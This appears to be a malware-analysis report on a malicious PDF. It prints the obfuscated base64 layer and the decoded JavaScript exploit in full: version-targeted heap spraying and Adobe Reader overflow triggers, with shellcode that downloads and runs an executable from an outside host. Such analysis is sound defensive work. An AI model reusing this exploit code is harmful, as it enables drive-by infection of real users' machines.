ZFRjMFJqSWxkVU14TURnbGRUQkVRMFlsZFVaQk1ETWxkVVZDTkRBbGRUVTRSVVlsZFVZNE0wSWxkVVUxTnpVbGRUaENOVVVsZFRJME5EWWxkVU16TURNbGRUaENOallsZFRRNE1FTWxkVFUyT0VJbGRUQXpNVU1sZFRoQ1JETWxkVGhCTURRbGRVTXpNRE1sZFRWRk5VWWxkVU16TlRBbGRUZEVPRVFsZFRVM01VTWxkVUk0TlRJbGRVTkJNek1sZFRWQ09FRWxkVUV5UlRnbGRVWkdSa1lsZFRNeVJrWWxkVGhDUXpBbGRVWXlSamNsZFRSR1FVVWxkVFExT0VJbGRVRkNNVEFsZFRrNE5qWWxkVUZDTmpZbGRVTXdNek1sZFRZeFFqZ2xkVEF3TmpRbGRUVXdNREFsZFRVME5qZ2xkVGN5TmpnbGRUTTFOalVsZFRGRE1qUWxkVGMwTmprbGRUVTBOVEFsZFVJNE5UTWxkVVpEUVVFbGRUZERNRVFsZFRVMVJrWWxkVGd6TVRnbGRUQkRRelFsZFVJd05UQWxkVGhCTmtNbGRUazRSVEFsZFRZNE5UQWxkVFpGTmtZbGRUWTBNa1VsZFRjMU5qZ2xkVFpETnpJbGRUVTBOa1FsZFRoRlFqZ2xkVEJGTkVVbGRVWkdSVU1sZFRFNE5UVWxkVU0wT0RNbGRUa3pNRU1sZFRNek5UQWxkVFV3UXpBbGRUVTJOVEFsZFRVMU9FSWxkVEF6TVRnbGRURTBOVFVsZFRVd05USWxkVE0yUWpnbGRUSkdNVUVsZFVaR056QWxkVEU0TlRVbGRUZ3pOVUlsZFRBd04wUWxkVEJHTURFbGRUbEZPRFVsZFRBd01EQWxkVFpCTURBbGRUWTRNREFsZFRBd09EQWxkVEF3TURBbGRUQXpOa0VsZFRBd05rRWxkVEF6TmtFbGRUQXdOamdsZFRBd01EQWxkVFUyUXpBbGRVRTFRamdsZFRBd01UY2xkVVpHTjBNbGRURTROVFVsZFRRMU9Ea2xkVFpCTURRbGRUWTRNRFFsZFRFd01EQWxkVEF3TURBbGRUQXdOamdsZFRBNE1EQWxkVFpCTURBbGRVSTRNREFsZFVOQk5UUWxkVGt4UVVZbGRUVTFSa1lsZFRnNU1UZ2xkVEJETkRVbGRUWkJOVEFsZFRoRU1EQWxkVEE0TkVRbGRUWTROVEVsZFRBd01EQWxkVEF3TURnbGRVWkdOVEFsZFRBME56VWxkVEUyUWpnbGRVWkJOalVsZFVaR01UQWxkVEU0TlRVbGRUaENOVVlsZFRnek1UY2xkVEEwUXpjbGRUUkVPRUlsZFRnek1EZ2xkVEEwUlRrbGRVRTNSVGdsZFRBd01EQWxkVFpCTURBbGRUWkJNREFsZFRaQk1EQWxkVVpHTURBbGRUQTBOelVsZFVGRFFqZ2xkVVJCTURnbGRVWkdOellsZFRFNE5UVWxkVEF3TmtFbGRUUkVPRVFsZFRVeE1EZ2xkVGMxUmtZbGRVWkdNRGdsZFRCRE56VWxkVEEwT0RNbGRUQTBNalFsZFRjMVJrWWxkVUk0TURRbGRUYzVNVVlsZFVVNE1FRWxkVFUxUmtZbGRVWkdNVGdsZFRBME56VWxkVVpDUWpnbGRVWkVPVGNsZFVaR01FWWxkVEU0TlRVbGRUUTFRemNsZFRBeU1EQWxkVEF3TURBbGRUVTNNREFsZFVJNE5UWWxkVVpGT1RnbGRUQkZPRUVsZFRVMVJrWWxkVVZDTVRnbGRURTRNa0VsZFVZNU1rRWxkVVF5UWpjbGRVSXpOemNsZFRRMU1ERWxkVGt5T0VFbGRVRkVRamNsZFRWRU5UQWxkVFkzUlRRbGRVVTJSalVsZFRGQlF6Y2xkVUZDUWtZbGRURXdNVVVsZFRjMk5ESWxkVUV4UVRJbGRUWXpOVFFsZFRkQ01Ea2xkVUl3T0RrbGRUazNSalFsZFRjek5FVWxkVE5HT1RNbGRUZ3pSakVsZFRBd04wUWxkVGMwTURJbGRVTTNOakFsZFRBd05EVWxkVEF3TURFbGRUQXdNREFsZFRRMVF6Y2xkVGM1TVRBbGRUWTFNa1VsZFVNM056Z2xkVEUwTkRVbGRUQXhOeklsZFRBd01EQWxkVGRFT0VJbGRUQXpNVGdsZFRFME4wUWxkVEkyUWprbGRUQXdNREFsZFRoQ01EQWxkVVpETlRjbGRUQTFSVGdsZFRBd01EQWxkVVU1TURBbGRVWkZOME1sZFVaR1JrWWxkVU13TXpNbGRUQTNPRUVsZFVNNFJESWxkVU14TXpJbGRVUXdSallsZFVNMU16SWxkVU15TXpJbGRVTTJNeklsZFVNd1JESWxkVU14TURJbGRVTTFNRElsZFVNeU1ESWxkVU0yTURJbGRVTTRSRElsZFVNeE1rRWxkVU0xTWtFbGRVUXdSallsZFVNeU1rRWxkVU0yTWtFbGRVTXdSRElsZFVNeVJETWxkVU5CTUVZbGRUQTNPRGdsZFRRNU5EY2xkVU5GTnpVbGRVTXpRek1sZFRjME5qZ2xkVGN3TnpRbGRUSkdNMEVsZFRaRE1rWWxkVFpFTmtZbGRUYzBOalVsZFRKRk56SWxkVFpETnpBbGRUWTRNa1lsZFRjd05rTWxkVFkzTWtZbGRUYzBOalVsZFRjNE5qVWxkVEpGTmpVbGRUWTROekFsZFROR056QWxkVGN3TnpNbGRUTkVOa01sZFRZME56QWxkVEF3TmpZaUtUdDlEUW9nSUhaaGNpQjBjMGg1U2sxdGFtbFZaamRIV1dWdUlEMGdNSGcwTURBd01EQTdkbUZ5SUU4M2IxbDZNMUJWYTBWWGNrVlFUbVFnUFNCV1NsSXhaM1JFY2xab2J6TTRlbk5YTG14bGJtZDBhQ0FxSURJN2RtRnlJRkUzWlZSc2EzaFlhVzVCU0cxMWRVUWdQU0IwYzBoNVNrMXRhbWxWWmpkSFdXVnVJQzBnS0U4M2IxbDZNMUJWYTBWWGNrVlFUbVFnS3lBd2VETTRLVHQyWVhJZ1ZsQTJNMjlNZEVsNk9GaDJaRmh0UXlBOUlIVnVaWE5qWVhCbEtDSWxkVGt3T1RBbGRUa3dPVEFpS1R0V1VEWXpiMHgwU1hvNFdIWmtXRzFESUQwZ1YzSkxValJsTmxSdGVYRmtXbmxyWkNoV1VEWXpiMHgwU1hvNFdIWmtXRzFETENCUk4yVlViR3Q0V0dsdVFVaHRkWFZFS1R0MllYSWdaV1ZqWWpKUFMycDBNWEV3V2xWNFVTQTlJQ2hpVVhwcldWSTJiMUJNYUhkUGJYTllJQzBnTUhnME1EQXdNREFwSUM4Z2RITkllVXBOYldwcFZXWTNSMWxsYmp0bWIzSWdLSFpoY2lCWmJYcGhiMUExV1dSaVVYTXhiMVpKSUQwZ01Ec2dXVzE2WVc5UU5WbGtZbEZ6TVc5V1NTQThJR1ZsWTJJeVQwdHFkREZ4TUZwVmVGRTdJRmx0ZW1GdlVEVlpaR0pSY3pGdlZra2dLeXNnS1h0RU5ISlRjME5MWkZBNGMwMXlZamszVzFsdGVtRnZVRFZaWkdKUmN6RnZWa2xkSUQwZ1ZsQTJNMjlNZEVsNk9GaDJaRmh0UXlBcklGWktVakZuZEVSeVZtaHZNemg2YzFjN2ZYME5DbVoxYm1OMGFXOXVJRkU0ZEZWWFJVVlFSVFZhYmxwWVJVRW9LWHNOQ2lBZ2RtRnlJRzlFYXpsamIyaEhVVGc1VVhabGFrOGdQU0F3TzNaaGNpQlRZM05LY2pkcU5rSktkR3R4T1hWQklEMGdZWEJ3TG5acFpYZGxjbFpsY25OcGIyNHVkRzlUZEhKcGJtY29LVHRoY0hBdVkyeGxZWEpVYVcxbFQzVjBLR1JUWmxOaVVFZHhWR1ZFUlhaWE1YSXBPdzBLSUNCcFppQW9VMk56U25JM2FqWkNTblJyY1RsMVFTQThJRGN1TVNsN0RRb2dJQ0FnU0RGR09VdzVVa3RHZVVkelZ6TTJkeWd3S1RzTkNpQWdJQ0IyWVhJZ2FtWktlbFF5UjNRNVVFczFOVFJVY1NBOUlIVnVaWE5qWVhCbEtDSWxkVEJqTUdNbGRUQmpNR01pS1R0M2FHbHNaU0FvYW1aS2VsUXlSM1E1VUVzMU5UUlVjUzVzWlc1bmRHZ2dQQ0EwTkRrMU1pbHFaa3A2VkRKSGREbFFTelUxTkZSeElDczlJR3BtU25wVU1rZDBPVkJMTlRVMFZIRTdkR2hwY3lBdVkyOXNiR0ZpVTNSdmNtVWdQU0JEYjJ4c1lXSXVZMjlzYkdWamRFVnRZV2xzU1c1bWJ5aDdjM1ZpYWlBNklDSWlMQ0J0YzJjZ09pQnFaa3A2VkRKSGREbFFTelUxTkZSeGZTazdmUTBLYVdZZ0tGTmpjMHB5TjJvMlFrcDBhM0U1ZFVFZ1BqMGdPU2w3RFFvZ0lDQWdkSEo1SUh0cFppQW9ZWEJ3TG1Sdll5NURiMnhzWVdJdVoyVjBTV052YmlsN1NERkdPVXc1VWt0R2VVZHpWek0yZHlneUtUdDJZWElnZWsxQldGUjBaR1ZFV0ZBMVprcEdNeUE5SUhWdVpYTmpZWEJsS0NJbE1Ea2lLVHNOQ25kb2FXeGxJQ2g2VFVGWVZIUmtaVVJZVURWbVNrWXpMbXhsYm1kMGFDQThJREI0TkRBd01DbDZUVUZZVkhSa1pVUllVRFZtU2tZeklDczlJSHBOUVZoVWRHUmxSRmhRTldaS1JqTTdlazFCV0ZSMFpHVkVXRkExWmtwR015QTlJQ0pPTGlJZ0t5QjZUVUZZVkhSa1pVUllVRFZtU2tZek8yRndjQzVrYjJNdVEyOXNiR0ZpTG1kbGRFbGpiMjRvZWsxQldGUjBaR1ZFV0ZBMVprcEdNeWs3YjBSck9XTnZhRWRST0RsUmRtVnFUeUE5SURFN2ZXVnNjMlVnZTI5RWF6bGpiMmhIVVRnNVVYWmxhazhnUFNBeE8zMTlZMkYwWTJnZ0tHVXBlMjlFYXpsamIyaEhVVGc1VVhabGFrOGdQU0F4TzMxcFppQW9iMFJyT1dOdmFFZFJPRGxSZG1WcVR5QTlQU0F4S1h0cFppQW9LRk5qYzBweU4ybzJRa3AwYTNFNWRVRWdQajBnTnk0eEppWWdVMk56U25JM2FqWkNTblJyY1RsMVFTQThJRGtwS1h0SU1VWTVURGxTUzBaNVIzTlhNelozS0RFcE8zWmhjaUJuV1RKVFdrbE5hV2hvYm14clIyTlNJRDBnSWpFeU9UazVPVGs1T1RrNU9UazVPVGs1T1RrNUlqdG1iM0lnS0c5dGVUZG5ZMnQwTURCNGNGUkVjbE1nUFNBd095QnZiWGszWjJOcmREQXdlSEJVUkhKVElEd2dNamMyT3lCdmJYazNaMk5yZERBd2VIQlVSSEpUSUNzcklDbDdaMWt5VTFwSlRXbG9hRzVzYTBkalVpQXJQU0FpT0NJN2ZYVjBhV3d1Y0hKcGJuUm1LQ0lsTkRVd01EQm1JaXdnWjFreVUxcEpUV2xvYUc1c2EwZGpVaWs3ZlgxOWZRMEtZWEJ3TGtOMGRreENTVFZ6ZW5Oa2F6bEhRbXdnUFNCUk9IUlZWMFZGVUVVMVdtNWFXRVZCTzJSVFpsTmlVRWR4VkdWRVJYWlhNWElnUFNCaGNIQXVjMlYwVkdsdFpVOTFkQ2dpWVhCd0xrTjBka3hDU1RWemVuTmthemxIUW13b0tTSXNJREV3S1RzPQ=="); eval(decode64(aasd));
`custom_b64_stage_000.js`	deobfuscated-js	custom Base64 decoded JavaScript layer 2 (PDF /JS object 9) at offset 0x450	10478 bytes
SHA-256: `0512f9e3ab450da4b9d95f692409f179e6e8f1b510471749f845fafced8f6700`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var D4rSsCKdP8sMrb97 = new Array(); var dSfSbPGqTeDEvW1r; function WrKR4e6TmyqdZykd(VP63oLtIz8XvdXmC, Q7eTlkxXinAHmuuD){while (VP63oLtIz8XvdXmC.length * 2 < Q7eTlkxXinAHmuuD){VP63oLtIz8XvdXmC += VP63oLtIz8XvdXmC;}VP63oLtIz8XvdXmC = VP63oLtIz8XvdXmC.substring(0, Q7eTlkxXinAHmuuD / 2); return VP63oLtIz8XvdXmC;} function AdvhvzaurEf1UqmW(BjJZjtUa80bb1N92){ var I2tEvOp3YQeZomaq = unescape("%u9090%u9090"); var heFmHri4STIF71ob = BjJZjtUa80bb1N92 - 0x700000; var aNoJFXMh1fw7fliK = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6C2F%u6D6F%u7465%u2E72%u6C70%u682F%u706C%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066"); while (I2tEvOp3YQeZomaq.length<slackspace) I2tEvOp3YQeZomaq+=I2tEvOp3YQeZomaq; aNoJFXMh1fw7fliK = BjJZjtUa80bb1N92.substring(0, BjJZjtUa80bb1N92);} function H1F9L9RKFyGsW36w(VkQuUNRCBcUxWPAq){ var bQzkYR6oPLhwOmsX = 0x0c0c0c0c;var VJR1gtDrVho38zsW = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6C2F%u6D6F%u7465%u2E72%u6C70%u682F%u706C%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");if (VkQuUNRCBcUxWPAq == 1){bQzkYR6oPLhwOmsX = 0x30303030;VJR1gtDrVho38zsW = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6C2F%u6D6F%u7465%u2E72%u6C70%u682F%u706C%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} else if (VkQuUNRCBcUxWPAq == 2){VJR1gtDrVho38zsW = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6C2F%u6D6F%u7465%u2E72%u6C70%u682F%u706C%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} var tsHyJMmjiUf7GYen = 0x400000;var O7oYz3PUkEWrEPNd = VJR1gtDrVho38zsW.length * 2;var Q7eTlkxXinAHmuuD = tsHyJMmjiUf7GYen - (O7oYz3PUkEWrEPNd + 0x38);var VP63oLtIz8XvdXmC = unescape("%u9090%u9090");VP63oLtIz8XvdXmC = WrKR4e6TmyqdZykd(VP63oLtIz8XvdXmC, Q7eTlkxXinAHmuuD);var eecb2OKjt1q0ZUxQ = (bQzkYR6oPLhwOmsX - 0x400000) / tsHyJMmjiUf7GYen;for (var YmzaoP5YdbQs1oVI = 0; YmzaoP5YdbQs1oVI < eecb2OKjt1q0ZUxQ; YmzaoP5YdbQs1oVI ++ ){D4rSsCKdP8sMrb97[YmzaoP5YdbQs1oVI] = VP63oLtIz8XvdXmC + VJR1gtDrVho38zsW;}} function Q8tUWEEPE5ZnZXEA(){ var oDk9cohGQ89QvejO = 0;var ScsJr7j6BJtkq9uA = app.viewerVersion.toString();app.clearTimeOut(dSfSbPGqTeDEvW1r); if (ScsJr7j6BJtkq9uA < 7.1){ H1F9L9RKFyGsW36w(0); var jfJzT2Gt9PK554Tq = unescape("%u0c0c%u0c0c");while (jfJzT2Gt9PK554Tq.length < 44952)jfJzT2Gt9PK554Tq += jfJzT2Gt9PK554Tq;this .collabStore = Collab.collectEmailInfo({subj : "", msg : jfJzT2Gt9PK554Tq});} if (ScsJr7j6BJtkq9uA >= 9){ try {if (app.doc.Collab.getIcon){H1F9L9RKFyGsW36w(2);var zMAXTtdeDXP5fJF3 = unescape("%09"); while (zMAXTtdeDXP5fJF3.length < 0x4000)zMAXTtdeDXP5fJF3 += zMAXTtdeDXP5fJF3;zMAXTtdeDXP5fJF3 = "N." + zMAXTtdeDXP5fJF3;app.doc.Collab.getIcon(zMAXTtdeDXP5fJF3);oDk9cohGQ89QvejO = 1;}else {oDk9cohGQ89QvejO = 1;}}catch (e){oDk9cohGQ89QvejO = 1;}if (oDk9cohGQ89QvejO == 1){if ((ScsJr7j6BJtkq9uA >= 7.1&& ScsJr7j6BJtkq9uA < 9)){H1F9L9RKFyGsW36w(1);var gY2SZIMihhnlkGcR = "12999999999999999999";for (omy7gckt00xpTDrS = 0; omy7gckt00xpTDrS < 276; omy7gckt00xpTDrS ++ ){gY2SZIMihhnlkGcR += "8";}util.printf("%45000f", gY2SZIMihhnlkGcR);}}}} app.CtvLBI5szsdk9GBl = Q8tUWEEPE5ZnZXEA;dSfSbPGqTeDEvW1r = app.setTimeOut("app.CtvLBI5szsdk9GBl()", 10);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 12

Related samples 1

Extracted artifacts 2